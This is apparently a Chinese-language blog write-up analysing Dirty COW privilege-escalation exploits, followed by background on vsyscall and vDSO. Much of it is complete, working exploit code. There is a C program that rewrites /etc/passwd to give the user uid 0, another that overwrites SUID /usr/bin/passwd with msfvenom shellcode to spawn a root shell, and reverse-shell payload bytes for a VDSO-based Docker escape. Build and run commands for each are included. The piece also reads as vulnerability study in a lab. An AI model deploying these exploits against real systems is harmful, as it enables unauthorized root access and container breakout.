基于 dirtycow 的几种提权思路

官方收集了多种基于dirtycow的利用exp并做了分类,提权需要考虑以下两个方面:

  1. 如何产生COW

    • 写/proc/self/mem
    • fork/clone后PTACE_POKEDATA
  2. 找哪个只读文件

    • 带suid的可执行程序,如/usr/bin/passwd
    • 特殊的只读文件,如/etc/passwd
    • 公用的一些库,如libc,vdso

利用/etc/passwd提权

exp分析

ngaro的exp 通过/proc/self/mem产生COW,修改/etc/passwd文件中当前用户的uid完成提权,代码逻辑分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/types.h>
#include <pwd.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
pthread_t pth1,pth2;
name=strdup("/etc/passwd");
/*
打开/etc/passwd文件,复制其内容到towrite指向的堆块
*/
f=open(name,O_RDONLY);
fstat(f,&st);
char* towrite=malloc(st.st_size+1);
read(f, towrite, st.st_size);
towrite[st.st_size]=0;
close(f);
/*
在towrite堆块中,将当前用户的uid位置改成0。由于改完之后passwd文件长度比源文件短,所以需要将后几个字节用'\n'覆盖
*/
char *attackline; char *exploitedline;
struct passwd *attacker=getpwuid(getuid()); // 根据传入的用户ID返回指向passwd的结构体
asprintf(&attackline,"%s:%s:%d:%d:%s:%s:%s",attacker->pw_name,attacker->pw_passwd,attacker->pw_uid, attacker->pw_gid,attacker->pw_gecos,attacker->pw_dir,attacker->pw_shell);
asprintf(&exploitedline,"%s:%s:0:%d:%s:%s:%s",attacker->pw_name,attacker->pw_passwd, attacker->pw_gid,attacker->pw_gecos,attacker->pw_dir,attacker->pw_shell);
char *endoffile=strstr(towrite,attackline)+strlen(attackline);
char *changelocation=strstr(towrite,attackline);
int oldfilelen=strlen(towrite);
sprintf(changelocation,"%s%s",exploitedline,endoffile);
int linediff=strlen(attackline)-strlen(exploitedline);
int i; for(i=oldfilelen; i>oldfilelen-linediff; i--) towrite[i-1]='\n';

f=open(name,O_RDONLY); // 只读模式打开/etc/passwd
fstat(f,&st);

map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);

pthread_create(&pth1,NULL,madviseThread,name);
pthread_create(&pth2,NULL,procselfmemThread,towrite); // 用towrite堆块内容覆盖原/etc/passwd,使当前用户uid变为0,达到提权目的

pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

exp验证

环境准备:下载老版本 ubuntu-server 14.04.5 镜像并安装到虚拟机

1
2
gcc dirty.c -lpthread -o dirty
./dirty

执行完成后,重启linux。以普通用户登录,可以拿到root shell。

image-20230502015044932

利用/usr/bin/passwd提权

exp分析

rverton的exp 通过/proc/self/mem产生COW,修改带SUID位的二进制程序/usr/bin/passwd完成提权,代码逻辑分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// 使用前需确认该SUID程序是可读的
char suid_binary[] = "/usr/bin/passwd";

/*
* 通过msfvenom生成的64位架构shellcode
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* 通过msfvenom生成的32位架构shellcode
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
char buf[sc_len];

for(;;) {
FILE *fp = fopen(suid_binary, "rb");

fread(buf, sc_len, 1, fp);

if(memcmp(buf, sc, sc_len) == 0) { // 比较当前读出的/usr/bin/passwd文件内容是否被改成了shellcode,如果是,就退出for循环
printf("%s overwritten\n", suid_binary);
break;
}

fclose(fp);
sleep(1);
}

stop = 1;

printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");

system(suid_binary); // 执行被更改的SUID程序,即可获得root shell
}

int main(int argc,char *argv[]) {
char *backup;

printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);

asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup); // 将原始的/usr/bin/passwd做一个备份,方便后续恢复

f = open(suid_binary,O_RDONLY); // 打开目标二进制程序文件/usr/bin/passwd
fstat(f,&st);

printf("Size of binary: %d\n", st.st_size);

char payload[st.st_size];
memset(payload, 0x90, st.st_size); // 根据程序文件大小来设置payload的大小,用0x90(nop)进行填充
memcpy(payload, sc, sc_len+1); // 将shellcode拷贝到payload中

map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

printf("Racing, this may take a while..\n");

pthread_create(&pth1, NULL, &madviseThread, suid_binary); // 此线程为了触发漏洞
pthread_create(&pth2, NULL, &procselfmemThread, payload); // 此线程负责用payload覆盖/usr/bin/passwd
pthread_create(&pth3, NULL, &waitForWrite, NULL); // 此线程等待/usr/bin/passwd被写成功后,获取root shell

pthread_join(pth3, NULL);

return 0;
}

exp验证

环境准备:下载老版本 ubuntu-server 14.04.5 镜像并安装到虚拟机

1
2
gcc dirty.c -lpthread -o dirty
./dirty

执行完成后,立刻拿到root shell。

image-20230502021331361

利用VDSO完成docker逃逸

如何将dirtycow应用在docker逃逸中呢?scumjr给出了一个基于VDSO的逃逸方案。

VDSO是内核的一个共享库,它被映射给了用户态使用,用户空间中它的权限是rx。而docker使用的就是宿主机host的内核,也就是说VDSO是连通docker和host的一个公共组件,如果这个组件代码段被docker利用漏洞更改,那么就会影响到宿主机host,进而达到docker逃逸的目的。

exp分析

参考文章:

scumjr的exp 通过ptrace子进程的方式产生COW,修改vdso中代码段位置(clock_gettime()函数)完成提权。利用代码分为两个部分:

  1. 利用代码逻辑:0xdeadbeef.c - 带注释

    • 主要操作:

      • 解析传入的ip:port

      • 准备payload

      • vdso中有两处需要patch(如下图红色部分),准备vdso_patch

        image-20230428190409281

      • dirtycow + ptrace完成对VDSO的写入

  2. payload汇编:payload.s

    • 功能:判断请求来自docker还是host,如果来自host(且是root进程调用的,且无/tmp/.x文件,表示从未执行过反弹shell的代码)则反弹shell到目标ip:port
    • 使用:nasm -f bin -o payload payload.s , xxd -i payload payload.h
    • 生成的payload.h如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned char payload[] = {
0x57, 0x56, 0x52, 0x51, 0xb8, 0x66, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x85, 0xc0, 0x0f, 0x85, 0xbb, 0x00, 0x00, 0x00, 0xe8, 0xc9, 0x00, 0x00,
0x00, 0x48, 0x8d, 0x74, 0x24, 0xf0, 0xba, 0x10, 0x00, 0x00, 0x00, 0xb8,
0x59, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x39, 0xd0, 0x0f, 0x85, 0x9c,
0x00, 0x00, 0x00, 0x48, 0x83, 0xc7, 0x0f, 0x48, 0x89, 0xd1, 0xf3, 0xa6,
0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, 0x48, 0xbe, 0x2f, 0x74, 0x6d, 0x70,
0x2f, 0x2e, 0x78, 0x00, 0x56, 0x48, 0x89, 0xe7, 0xbe, 0xc0, 0x00, 0x00,
0x00, 0xb8, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x85, 0xc0, 0x5e,
0x78, 0x6d, 0xb8, 0x39, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x85, 0xc0,
0x75, 0x61, 0x48, 0x31, 0xf6, 0xf7, 0xe6, 0x48, 0xff, 0xc6, 0x6a, 0x02,
0x5f, 0x04, 0x29, 0x0f, 0x05, 0x50, 0x5f, 0x52, 0x52, 0xc7, 0x44, 0x24,
0x04, 0xde, 0xc0, 0xad, 0xde, 0x66, 0xc7, 0x44, 0x24, 0x02, 0x37, 0x13,
0xc6, 0x04, 0x24, 0x02, 0x54, 0x5e, 0x6a, 0x10, 0x5a, 0x6a, 0x2a, 0x58,
0x0f, 0x05, 0x48, 0x85, 0xc0, 0x78, 0x25, 0x48, 0x31, 0xc0, 0x6a, 0x03,
0x5e, 0xff, 0xce, 0xb0, 0x21, 0x0f, 0x05, 0x75, 0xf8, 0x56, 0x5a, 0x56,
0x48, 0xbf, 0x2f, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x57, 0x54,
0x5f, 0x48, 0x31, 0xc0, 0xb0, 0x3b, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0xb0,
0x3c, 0x0f, 0x05, 0x59, 0x5a, 0x5e, 0x5f, 0x58, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xff, 0xe0, 0x48, 0x8d,
0x3d, 0x01, 0x00, 0x00, 0x00, 0xc3, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f,
0x31, 0x2f, 0x6e, 0x73, 0x2f, 0x70, 0x69, 0x64, 0x00, 0x70, 0x69, 0x64,
0x3a, 0x5b, 0x34, 0x30, 0x32, 0x36, 0x35, 0x33, 0x31, 0x38, 0x33, 0x36,
0x5d
};
unsigned int payload_len = 265;

exp验证

ubuntu14.04.3-desktop中验证失败(prologue的问题,改一下可以成),ubuntu14.04.5-server中验证成功

参考文章:

搭建实验环境及exp验证步骤如下:

  1. 下载老版本 ubuntu-server 14.04.5 镜像并安装:

  2. 安装好docker及docker-compose

    1
    2
    3
    4
    5
    $ sudo apt-get install libltdl7 libsystemd-journal0
    $ wget https://download.docker.com/linux/ubuntu/dists/trusty/pool/stable/amd64/docker-ce_17.03.0~ce-0~ubuntu-trusty_amd64.deb
    $ sudo dpkg -i docker-ce_17.03.0_ce-0_ubuntu-trusty_amd64.deb
    $ sudo curl -L https://github.com/docker/compose/releases/download/1.21.0/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose
    $ sudo chmod +x /usr/local/bin/docker-compose
  3. 设置容器环境

    1
    2
    3
    $ git clone https://github.com/gebl/dirtycow-docker-vdso.git
    $ cd dirtycow-docker-vdso/
    $ sudo docker-compose run dirtycow /bin/bash
  4. 进入容器,编译poc并执行

    1
    2
    3
    $ cd /dirtycow-vdso/
    $ make
    $ ./0xdeadbeef 192.168.133.128:1234
  5. 查看是否成功接收到反弹shell

    image-20230428151541933

拓展

RWCTF 2023中有一道题是关于dirtycow的,叫做”Be a Docker Escaper 3”。官方给出的WP中指出,这个题目跟上文scumjr的利用有两点差异:

  1. 最新版docker中禁用了ptrace。所以得考虑通过/proc/self/mem产生COW完成利用,那么就有许多代码逻辑要改
  2. 题目环境中vdso的构造跟scumjr不一样。所以需要人工定位一下clock_gettime()地址,可以写死在代码逻辑中

出题人给了它的exp:exploit for dirtycow

知识点

什么是vdso

参考文章:

先有vsyscall

vsyscall区域位于内核地址空间,它是唯一允许用户访问的区域。该区域地址固定为0xffffffffff600000,大小固定为4K。所有进程都共享内核映射。但是它有两个缺点,导致开发人员抛弃了vsyscall机制:

  1. vsyscall映射地址固定不变,使攻击者很容易利用它当跳板(在x86_64上通过emulated vsyscall机制,借助vvar mapping可一定程度上缓解该问题,但性能不如vsyscall native)
  2. vsyscall支持的系统调用数量有限,无法方便地扩展

vsyscall中支持的三个系统调用:

  • gettimeofday()
  • time()
  • getcpu()

image-20230426180135721

再有vdso

鉴于vsyscall的缺点,开发人员设计了VDSO机制来取代vsyscall。

VDSO的定义:

1
2
3
The "vDSO" (virtual dynamic shared object) is a small shared library
that the kernel automatically maps into the address space of all user-space applications. Applications usually do not need to concern themselves with these details as the vDSO is most commonly called by the C library. This way you can code in the normal way using standard functions and the C library will take care of using any functionality that is available via the vDSO.
(VDSO是内核的一个共享库(代码段),它被映射给了用户态使用)

VDSO与vsyscall的区别:

  1. VDSO本质上是一个ELF共享目标文件,而vsyscall只是一段内存代码和数据
  2. vsyscall位于内核地址空间,采用静态地址映射方式;而VDSO借助共享目标文件天生具有PIC特性,可以以进程为粒度动态映射到进程地址空间中。

为了兼容老旧程序,vsyscall机制(native模式和emulation模式)仍旧被保留下来。所以cat /proc/self/maps时可以同时看到vvar,vdso,vsyscall三种特殊的mapping。

导出vdso

为了更直观地看到VDSO,我们有两种方法将其导出:

  1. 在gdb中导出vdso

    1
    dumpmem vdso.so 0x00007ffff7ffa000 0x00007ffff7ffc000
  2. 写个c程序导出vdso

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    #include <err.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/auxv.h>
    #include <sys/mman.h>


    static unsigned long get_vdso_addr(void)
    {
    return getauxval(AT_SYSINFO_EHDR); // 获取VDSO的地址
    }

    int main(int argc, char *argv[])
    {
    unsigned long vdso_addr;
    int fd;

    vdso_addr = get_vdso_addr();
    printf("[*] vdso addr: %016lx\n", vdso_addr);

    fd = open(argv[1], O_CREAT|O_TRUNC|O_WRONLY, 0644);
    if (fd == -1)
    err(1, "open");

    write(fd, (void *)vdso_addr, 0x2000);

    return 0;
    }